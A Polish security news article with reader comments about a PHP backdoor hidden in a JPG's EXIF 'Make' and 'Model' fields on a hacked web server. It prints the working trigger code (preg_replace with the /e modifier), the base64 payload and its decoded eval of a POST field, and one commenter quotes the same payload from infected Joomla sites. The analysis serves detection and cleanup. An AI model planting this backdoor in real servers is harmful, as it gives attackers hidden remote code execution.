Kreatywność twórców złośliwego oprogramowania jeszcze długo będzie nas zaskakiwać. Tym razem, starając się utrudnić lokalizację i usunięcie skutków infekcji serwerów www, ukryli główny element tylnej furtki w pliku graficznym.
Badacz z firmy Sucuri, analizując skutki włamania na serwer www, natrafił na oryginalną w swojej konstrukcji tylną furtkę. Po uzyskaniu kontroli nad plikami serwera www, włamywacz nie wstrzyknął jak zwykle całego kodu umożliwiającego wykonywanie dowolnych poleceń do pliku php, ale podzielił go na dwa elementy, umieszczone w dwóch różnych miejscach.
Pierwszym śladem włamania był dodatkowy fragment kodu php, nie zawierający żadnych funkcji tradycyjnie uważanych za wykorzystywane przez włamywaczy.
$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');
Pierwsza z funkcji odczytuje tagi EXIF z plików JPG, podczas kiedy druga wykonuje operację zastąpienia zawartości ciągu. Wyglądają niewinnie – dopóki nie przyjrzymy się zawartości pliku JPG.
ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^
Pole „Make” nagłówka EXIF zawiera ciąg „/.*/e”. Co stanie się, jeśli użyjemy go jako parametru funkcji preg_replace? Otóż zamieni się ona w eval – czyli wykona wskazany ciąg. Teraz spójrzmy na zawartość pola „Model”. Po odkodowaniu ciągu base64 otrzymamy
if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}
Po podstawieniu obu zmiennych do funkcji całość tylnej furtki ma zatem postać:
preg_replace ("/.*/e", ,"@ eval (if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"])
Działanie tego kodu jest banalnie proste – wywołanie skryptu metodą POST spowoduje wykonanie na serwerze polecenia zawartego w zmiennej zz1. Co ciekawe, włamywacz nie wgrał na serwer swojego pliku JPG, lecz wykorzystał plik już istniejący.
Należy także podkreślić, że metoda ta nie oznacza, że wystarczy wgrać na serwer pliku JPG zawierającego odpowiednie tagi EXIF, by przejąć kontrolę nad maszyną. Włamywacz musiał wcześniej uzyskać kontrolę nad serwerem www, a opisany powyżej sposób służył jedynie utrzymaniu dostępu po załataniu wykorzystanej podatności.
Jakie zalety dla włamywacza może mieć umieszczanie kodu tylnej furtki w pliku JPG? Bez wątpienia zmniejsza on w ten sposób prawdopodobieństwo wykrycia jego kodu w trakcie automatycznej analizy, opartej na poszukiwaniu typowych ciągów używanych do tworzenia tylnych furtek. Dodatkowo może liczyć na nieuwagę osoby analizującej włamanie – odczytanie danych EXIF wygląda dużo bardziej niewinnie niż proste „eval” w kodzie.
Komentarze
Dobry gość :D
Trzeba kiedyś spróbować tego patentu ;)
Tak w sumie to pełno jotpegów zasyfiło się jest zasyfionych jakimiś dziwnymi ślaczkami i to raczej nie dlatego, że jest urwany plik. Faktycznie skanery antywirusowe nie zawracają se d. jakimiś jpgami.
Pomysł spoko, o ile faktycznie ktoś automatycznie szuka śladów włamania w kodzie. IMHO lepiej zcheckoutować aplikację raz jeszcze i zrobić ewentulnego diff-a, oczywiśćie już poza produkcyjnym serwerem, żeby ustalić kto i co próbował zrobić ;)
I dlatego warto grafikę wrzucać w formacie webp bo nie ma exifa :D
Już kilka lat temu pisałem o podobnym sposobie, lecz mniej skomplikowanym od strony PHP (wystarczy niewinne polecenie require):
http://php.webtutor.pl/pl/2011/04/11/code-injection-czyli-prosty-wirus-php-w-obrazku-jpeg/
Na przestrzeni ostatniego pół roku spotkałem się z kodem zaszytym w EXIFach kilkakrotnie, podczas czyszczenia „zhackowanych”/zainfekowanych stron klientów. Metoda równie powszechna na ile zautomatyzowane jest masowe wyszukiwanie i infekowanie przez niemilców przeterminowanych cmsów jak np. Joomla ;)
UWAGA! Antywirusy dodały ten kod do swoich definicji.
Patrz: Niniejsza podstrona wskazywana jest jako niebezpieczna, gdyż zawiera właśnie ten kod (to, że ku przestrodze to antywira nie interesuje) Zatem zmieńcie to, żeby nie dostać po łapach pod kątem SEO. Wejście na tą podstronę z google przy aktywnym antywirze jest obecnie niemożliwe.
Do rzeczy.
Ja właśnie mam problem z tym czymś. Odkryłem to godzinę temu i na razie rozkminiam. Ściągnąłem wszystkie pliki z serwera na HDD, przeleciałem Avastem no i niestety około 100 (na około 5.000 w sumie) jpg-ów zarażonych. Tylko jpg, wszelkie bitmapy i gify nietknięte.
U mnie to dodatkowo jest jeszcze zakodowane przez base64- każdy zarażony jotpeg miał w sobie coś takiego: eval(base64_decode(’aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30=’)
Na razie idę spać bo późno, jutro pewnie cały dzień nad tym przesiedzę, bo rozlazło się toto na calusieńki hosting (7 serwisów). Na chwilę obecną wydaje mi się, że winowajcą jest Joomla 1.5 i paradoksalnie zainstalowanie tego nieoficjalnego patcha, chroniącego przed poważną dziurą. Jak coś to mail. Pozdrawiam